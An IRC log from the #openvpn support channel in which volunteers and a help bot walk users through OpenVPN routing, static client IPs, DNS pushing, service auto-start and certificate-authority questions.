08:25 <@EugeneKay> See also the README located inside the same config folder
08:29 < hrenovo> EugeneKay: where is the conf folder ?
08:30 -!- _d4vid [~stern@pdpc/supporter/student/d4vid] has left #openvpn ["http://incloak.com"]
08:30 <@EugeneKay> "the install dir's"
08:30 < hrenovo> this is for manual connection right ? C:\Program Files\OpenVPN\config
08:30 <@EugeneKay> Reading; it matters.
08:31 <@EugeneKay> That's the place
08:31 < hrenovo> ok, my config files are there and I am able to connect
08:31 < hrenovo> where is the option to auto start ?
08:31 <@ecrist> in the services control panel
08:31 <@EugeneKay> Go back and read what I said
08:31 <@ecrist> you need to set the openvpn service to auto start
08:31 <@EugeneKay> I'm not going to beat it into you
08:32 < hrenovo> how can I get it to auto start ?
08:32 < hrenovo> openvpn service
08:32 <@EugeneKay> <EugeneKay> Go back and read what I said
08:32 <@EugeneKay> <EugeneKay> I'm not going to beat it into you
08:32 -!- hrenovo was kicked from #openvpn by ecrist [please follow directions]
08:32 <@EugeneKay> The stupid is strong today.
08:33 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
08:34 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has left #openvpn ["I am parting"]
08:35 < rob0> what is "autovpn"?
08:36 <@EugeneKay> I didn't even notice that
09:04 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
09:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
09:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:22 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
09:42 -!- Guest18356 [~Terse@ARennes-257-1-41-133.w81-53.abo.wanadoo.fr] has joined #openvpn
09:42 -!- Guest18356 [~Terse@ARennes-257-1-41-133.w81-53.abo.wanadoo.fr] has left #openvpn []
09:49 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:50 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
09:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
09:53 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
09:56 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
10:22 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
10:44 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 245 seconds]
11:00 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
11:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:42 -!- master_o1_master [~master_of@p4FF24D0B.dip.t-dialin.net] has joined #openvpn
11:45 -!- master_of_master [~master_of@p4FF24483.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
12:06 -!- Varazir [~mircwars@c-94-255-130-176.cust.bredband2.com] has quit [Ping timeout: 264 seconds]
12:07 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:10 < jzaw> \0/ yea ipv6 too
12:16 -!- Varazir [~mircwars@c-94-255-130-176.cust.bredband2.com] has joined #openvpn
12:19 < Martin`> :)
12:22 -!- siddhant [~chatzilla@64.62.201.17] has joined #openvpn
12:23 -!- siddhant is now known as sisar
13:19 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has left #openvpn ["Leaving IRC forever... :("]
13:24 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
13:26 < timmmaaaayyy> anyone want to help me get routing working on my openvpn setup?  i cannot hit the LAN behind one of my clients.  it's a windows client....i tried using iroute in the client config but it won't start vpn with that
13:26 < timmmaaaayyy> what other options do i have?
13:30 -!- hatschi [~marvin@dslb-178-010-117-249.pools.arcor-ip.net] has joined #openvpn
13:37 < rob0> !clientlan
13:37 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
13:37 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
13:37 < rob0> check the flowchart
13:39 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
13:40 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
13:41 < timmmaaaayyy> oh so you can't just throw "iroute 192.168.0.0 255.255.255.0" into the config?  i'll try using the client-confgi-dir method
13:42 < pekster> iroute tells openvpn that a specific client is responsible for a particular network
13:42 < pekster> You still need the --route entry in the server too, since --route impacts the OS routing table, while --iroute handles the association of the network to the openvpn client
13:43 < rob0> iroute can only be in a ccd, IIRC
13:44 < pekster> ccd or --client-connect
13:47 -!- hatschi [~marvin@dslb-178-010-117-249.pools.arcor-ip.net] has quit [Ping timeout: 240 seconds]
13:47 < timmmaaaayyy> ok thanks
13:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:58 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
14:05 < timmmaaaayyy> !ipforward
14:05 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
14:05 < timmmaaaayyy> !winipforward
14:05 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
14:08 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
14:11 < timmmaaaayyy> i have the route entry in the server.conf, but it's not showing up in the OS routing table
14:11 < pekster> Did you restart the server openvpn instance after making the change?
14:12 < timmmaaaayyy> yes
14:12 < pekster> It should show up, or note in the logs why route addition failed
14:13 < timmmaaaayyy> Sun Mar 17 19:13:13 2013 OpenVPN ROUTE: failed to parse/resolve route for host/network: 192.168.0.0
14:15 < pekster> There's usually related context before/after that. Pastebin the full logs if you need help
14:15 < pekster> !paste
14:15 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
14:16 < timmmaaaayyy> http://pastebin.com/MbHZFM8c
14:16 < rob0> 192.168.0.x is not a good idea, BTW :)
14:17 < timmmaaaayyy> this is just temporary.....i'm setting something up that needs access to that subnet.  once it's setup, i'm removing the config stuff and mailing it out
14:17 < pekster> Can you paste your config too, ideally with comments removed (see grep magic in next bot output.) Looks like you're using a mode that doesn't imply --route-gateway, or didn't add it yourself and need it
14:17 < pekster> !configs
14:17 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
14:18 < rob0> Sun Mar 17 19:14:55 2013 OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options
14:18 < pekster> My guess is you're using --server in topology subnet, and you must manually define it in such a case
14:18 < pekster> But configs will show for sure
14:18 < pekster> rob0: I'm wondering if I should see about patching that; this issue comes up a lot
14:19 < pekster> Despite the warning :\
14:19 < timmmaaaayyy> http://pastebin.com/xjceZs1w
14:19 < timmmaaaayyy> i'd love to clean this up if i can
14:19 < pekster> So simply, --route-gateway 10.8.0.1 will do what you need
14:20 < pekster> That's pushed to clients, but not present for the server, so the server has no target gateway to use for the routes
14:20 < timmmaaaayyy> would that be better?  or should i remove topology subnet?  i only have like 6 users, so i don't actually need the subnet thing....it just seemed cool
14:23 < rob0> the /30 mess is never useful
14:24 < timmmaaaayyy> i agree.  ok i see it in the routing table now....that's good
14:24 < timmmaaaayyy> but i still can't ping the other side of the VPN client itself.  it's ip is 192.168.0.13.
14:25 < timmmaaaayyy> i enabled forwarding according to the help docs here
14:25 < timmmaaaayyy> i wish this wasn't a windows machine
14:28 < timmmaaaayyy> http://pastebin.com/QwPwXpMy
14:34 < timmmaaaayyy> anything else i can provide that might help troubleshoot?
14:34 < pekster> You can ping the client VPN IP from the server?
14:35 < pekster> 10.8.0.13 in that example
14:35 < pekster> (ie: last paste)
14:37 < timmmaaaayyy> yes that works
14:37 < timmmaaaayyy> got it working end to end
14:38 < pekster> What OS is the server?
14:38 < timmmaaaayyy> i needed to enable routing and remote access service on the win7 machine....just the registry hack wasn't enough
14:38 < timmmaaaayyy> the server is debian
14:38 < timmmaaaayyy> thank you all very much for the help!
14:38 < pekster> Ah, right. Honestly, you'll have a better experience if your client isn't windows
14:38 < pekster> A $40 router is better suited to run openvpn that Windows, sadly
14:38 < pekster> than*
14:39 < pekster> At least if you want to do stuff like expose a client LAN and possibly do filtering/firewalling on that traffic
14:40 < jzaw> pekster, hehe im using a £10 router .... and its doing admirably !
14:41 < timmmaaaayyy> yes i totally understand.  windows is not optimal, but it's the only option in this case.  not that i have it....i'll only needot for about 30 more minutes.  thankfully
14:41 < jzaw> ipv4 and ipv6 down the vpn
14:41 < jzaw> and clients behind it all on public ips both 4 and 6
14:56 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
14:58 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has left #openvpn []
15:09 -!- Cpt_Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
15:13 -!- kubbing [~kubbing@89.177.146.18] has quit [Ping timeout: 264 seconds]
15:25 -!- cyberspace- [20253@ninthfloor.org] has quit [Read error: Connection reset by peer]
15:26 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
15:27 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
15:30 -!- p3rror [~mezgani@41.140.196.35] has quit [Read error: Operation timed out]
15:34 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:35 -!- master_of_master [~master_of@p4FF24F0C.dip.t-dialin.net] has joined #openvpn
15:39 -!- master_o1_master [~master_of@p4FF24D0B.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
16:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:05 -!- Hellasaurus [~Hellcore@cpc26-soli5-2-0-cust494.19-1.cable.virginmedia.com] has joined #openvpn
16:06 < Hellasaurus> !welcome
16:06 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
16:06 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:06 < Hellasaurus> !redirect
16:06 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:06 <@vpnHelper> http://ircpimps.org/redirect.png
16:07 < Hellasaurus> !dns
16:07 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
16:07 < Hellasaurus> !pushdns
16:07 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
16:07 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
16:14 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:25 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
16:37 < Hellasaurus> !howto
16:37 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:46 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 255 seconds]
16:50 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
16:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
17:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
17:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:18 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:27 -!- Hellasaurus [~Hellcore@cpc26-soli5-2-0-cust494.19-1.cable.virginmedia.com] has quit []
17:35 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
17:39 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
17:41 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 245 seconds]
17:44 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
17:45 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
17:48 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
18:06 -!- brute11k [~brute@89.249.231.71] has quit [Quit: Leaving.]
18:14 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
18:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:28 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
18:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
18:33 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:40 -!- Cpt_Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
18:45 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
18:55 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
18:58 -!- [fred] [fred@konfuzi.us] has joined #openvpn
19:01 -!- master_o1_master [~master_of@p4FF2433B.dip.t-dialin.net] has joined #openvpn
19:04 -!- master_of_master [~master_of@p4FF24F0C.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
19:04 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:07 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
19:27 -!- djshotglass [~Guest7552@out-bc-149.wireless.telus.com] has joined #openvpn
19:28 < djshotglass> i have 3 vpn clients sharing a cert how do i give them each static ip
19:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
19:33 -!- erry [erry@freenode/staff/erry] has quit [Quit: Segmentation fault]
19:33 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
19:35 -!- erry_ is now known as erry
19:36 < pekster> djshotglass: You don't. Or write some creative --client-connect script to use another definable attribute to somehow apply your own magic to uniquely identify each user (source IP, etc.) That's a poor solution, IMO. Optionally, also require user/pass auth in addition to the same cert and use the username. The correct way to do this is issue unique certs per user.
19:37 < djshotglass> hmm ok
19:38 < pekster> You can look at the --ifconfig-pool-persist option, but that is notably not the same as static IPs and shouldn't be used if that's what you really want. See:
19:38 < pekster> !ipp
19:38 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
19:39 < djshotglass> !iporder
19:39 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
19:39 < djshotglass> !static
19:39 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
19:53 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
20:09 -!- Guest75521 [~Guest7552@out-bc-149.wireless.telus.com] has joined #openvpn
20:11 -!- djshotglass [~Guest7552@out-bc-149.wireless.telus.com] has quit [Ping timeout: 252 seconds]
20:12 -!- Guest75521 [~Guest7552@out-bc-149.wireless.telus.com] has quit [Client Quit]
20:23 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
20:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:40 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
20:41 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
21:58 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
22:06 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
22:06 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
22:53 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
23:09 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
23:22 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
23:23 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
23:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
23:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
--- Day changed Mon Mar 18 2013
01:09 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
01:14 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
01:34 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
02:02 < jzaw> !ccd
02:02 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
02:07 -!- hatschi [~marvin@dslb-178-010-198-195.pools.arcor-ip.net] has joined #openvpn
02:16 -!- xbanux [~xbanux@triband-mum-59.182.156.172.mtnl.net.in] has joined #openvpn
02:22 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has joined #openvpn
02:25 -!- mustu__ [~maan@119.63.130.93] has quit [Quit: Lost terminal]
02:27 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
02:33 -!- ocei3ko [~NA@unaffiliated/ocei3ko] has joined #openvpn
02:33 < ocei3ko> Hello, I'm trying to use openvpn on a wifi network that uses a 10.x address, and openvpn does not add routes
02:33 < ocei3ko> Why?
02:34 < ocei3ko> Doesnt even add tun0
02:39 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
02:46 < ocei3ko> Is there a configuration option I should be using?
02:56 -!- ocei3ko [~NA@unaffiliated/ocei3ko] has quit [Ping timeout: 245 seconds]
02:57 -!- ocei3ko [~NA@unaffiliated/ocei3ko] has joined #openvpn
02:57 < ocei3ko> Anyone answer my question above?
02:59 -!- master_of_master [~master_of@p4FF24ED5.dip.t-dialin.net] has joined #openvpn
02:59 < jzaw> ocei3ko, pastebin your sever and client confs
02:59 < jzaw> ifconfig output
02:59 < jzaw> and ip route show output
03:00 -!- master_o1_master [~master_of@p4FF2433B.dip.t-dialin.net] has quit [Read error: Operation timed out]
03:00 < ocei3ko> Cant do atm, not on said computer
03:01 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:03 < jzaw> difficult to diagnose anything then
03:06 < ocei3ko> Right, and you have no guesses?
03:07 < jzaw> i guess you have an error in some setting
03:07 < jzaw> and i hazard a guess im 100% right
03:08 < ocei3ko> jzaw, http://pastebin.com/Q3GQq9pV
03:08 < ocei3ko> client config
03:08 -!- xbanux [~xbanux@triband-mum-59.182.156.172.mtnl.net.in] has quit [Read error: Connection reset by peer]
03:08 < ocei3ko> It works on everything but this one public wifi network
03:09 -!- xbanux [~xbanux@triband-mum-59.182.145.108.mtnl.net.in] has joined #openvpn
03:11 <@EugeneKay> Logs would be helpful
03:11 <@EugeneKay> If I had to guess, it's a subnet conflict.
03:12 < ocei3ko> How would I fix the conflict?
03:12 < ocei3ko> Both try to use 10.*, so it seems to be so
03:13 < ocei3ko> But openvpn doesnt even bring up tun0
03:15 < jzaw> EugeneKay, can i not get client.conf to execute up.sh ?   doesnt seem to
03:16 <@EugeneKay> The startup script is handled by your init script
03:16 <@EugeneKay> What OS?
03:17 < jzaw> debian wheezy ....
03:17 < jzaw> no i mean a custom script .... anyname.sh
03:17 < jzaw> which i keep in /etc/openvpn
03:17 < jzaw> the server has one and that executes fine
03:17 < jzaw> chmod +x done
03:17 < jzaw> etc
03:18 < jzaw> i can manually run it
03:19 < jzaw> script-security 2
03:19 < jzaw> set
03:25 -!- ocei3ko [~NA@unaffiliated/ocei3ko] has quit [Read error: Connection reset by peer]
03:31 < jzaw> correction EugeneKay its openwrt im running client on
03:33 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
03:40 -!- _ddlk_ [~ddlk@183.246.96.215] has joined #openvpn
03:41 -!- _ddlk_ [~ddlk@183.246.96.215] has quit []
03:41 -!- ddlk [~ddlk@183.246.96.215] has joined #openvpn
03:42 < ddlk> Anyone has experience with openvpn and static key?
03:42 < ddlk> I can ping the server, but cannot access internet
03:49 <@EugeneKay> jzaw - you're referring to a client-connect script, then?
03:50 <@EugeneKay> Or rather, a connect
03:50 <@EugeneKay> !logs
03:50 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
03:51 <@EugeneKay> !redirect
03:51 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
03:51 <@vpnHelper> http://ircpimps.org/redirect.png
03:51 <@EugeneKay> ddlk - follow the chart ^
03:58 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 240 seconds]
03:59 -!- brute11k [~brute@89.249.231.66] has joined #openvpn
04:05 < ddlk> wow, nice chart, tring it, thanks :D
04:06 -!- zamba [marius@flage.org] has quit [Ping timeout: 245 seconds]
04:06 -!- kubbing [~kubbing@c-006.certicon.cz] has joined #openvpn
04:14 -!- zz_AsadH is now known as AsadH
04:29 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
04:29 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
04:31 < Rienzilha> hmm
04:31 < Rienzilha> how hard is it to distribute an openvpn configuration (and possibly, initiate an install of openvpn) with another software package?
04:31 < Rienzilha> and will I run into licensing issues?
04:32 -!- dpecka [~dpecka@193.165.171.107] has joined #openvpn
04:32 < dpecka> hello
04:32 < Rienzilha> (the package in question is open source, but I'm not sure about its license)
04:33 < dpecka> i'd like to ask for something .. i have openvpn, it's working great .. i have no deep experience and knowledge with PKI infra .. i was always using self-signed certs .. when i will configure an openvpn server to use a server.key signed by CA which i don't own, the server will have to periodically check on remote CA, if the key is valid via crl ?
04:34 -!- ddlk [~ddlk@183.246.96.215] has quit [Read error: Connection reset by peer]
04:36 -!- ddlk [~ddlk@183.246.96.215] has joined #openvpn
04:37 <@EugeneKay> The general wisdom is do not use public/commercial CAs
04:37 <@EugeneKay> If you do, set up regular CRL downloading and strong CN checks
04:37 < dpecka> EugeneKay: no, not public but one which is owned by my employer
04:38 <@EugeneKay> Then there's less worry there - you can trust the CA quite a bit
04:41 < dpecka> EugeneKay: hmm .. it's rather politic problem ... i don't want to be fully responsible for a keys security
04:42 < dpecka> EugeneKay: the server was using until now exclusively by our devels, now they want to sell something from inside to customer and let them enter
04:42 < dpecka> **the serevr has been used
04:42 <@EugeneKay> Blah
04:43 -!- ddlk [~ddlk@183.246.96.215] has quit []
04:43 <@EugeneKay> I would set up a (possibly intermediate) CA exclusively for handling this task
04:44 < dpecka> so i want to get the rid of PKI/certs responsibility .. the ca of our company is maintained by our internal sysadmins who can generate a keys however they are unable to administere my openvpn, so the plan is that i will import new server.key to my server and will distribute new clients generetad with the new set of keys
04:49 <@EugeneKay> Sounds sane
05:02 -!- hatschi_ [~marvin@dslb-178-010-198-195.pools.arcor-ip.net] has joined #openvpn
05:03 -!- hatschi [~marvin@dslb-178-010-198-195.pools.arcor-ip.net] has quit [Ping timeout: 260 seconds]
05:03 -!- hatschi_ is now known as hatschi
05:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.3.8]
05:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:18 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-lmbdyojognqqrrqo] has quit [Ping timeout: 264 seconds]
05:18 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has quit [Ping timeout: 264 seconds]
05:19 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has joined #openvpn
05:21 -!- newbie|3 [~tjz@bb219-74-189-54.singnet.com.sg] has quit [Ping timeout: 240 seconds]
05:27 -!- dazo_afk is now known as dazo
05:33 -!- thinkHell [~Hell@85.15.47.27] has quit [Ping timeout: 258 seconds]
05:46 -!- y4h0 [~yavor@78.128.23.17] has quit [Ping timeout: 255 seconds]
05:52 -!- hatschi [~marvin@dslb-178-010-198-195.pools.arcor-ip.net] has quit [Ping timeout: 260 seconds]
05:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.3.8]
05:57 -!- hatschi [~marvin@dslb-178-010-198-195.pools.arcor-ip.net] has joined #openvpn
06:18 -!- master_o1_master [~master_of@p4FF24BF8.dip.t-dialin.net] has joined #openvpn
06:21 -!- master_of_master [~master_of@p4FF24ED5.dip.t-dialin.net] has quit [Ping timeout: 258 seconds]
06:22 < jzaw> ping pekster
06:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:37 -!- Colttt [~stefan.kr@cpe-001a8c164de9.ip-pool.rftonline.net] has joined #openvpn
06:37 < Colttt> hello everybody..
06:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 255 seconds]
06:38 < Colttt> i have a problem, on one computer i got an error when i connect to our server: MANAGEMENT: listen() failed: Permission denied (WSAEACCES) (errno=10013)
06:39 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-vqvgtzvvbbbougmj] has joined #openvpn
06:39 < Colttt> i use windows7 64bit
06:39 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:40 < Colttt> and openvpn version 2.1.1
06:46 -!- xbanux [~xbanux@triband-mum-59.182.145.108.mtnl.net.in] has quit [Remote host closed the connection]
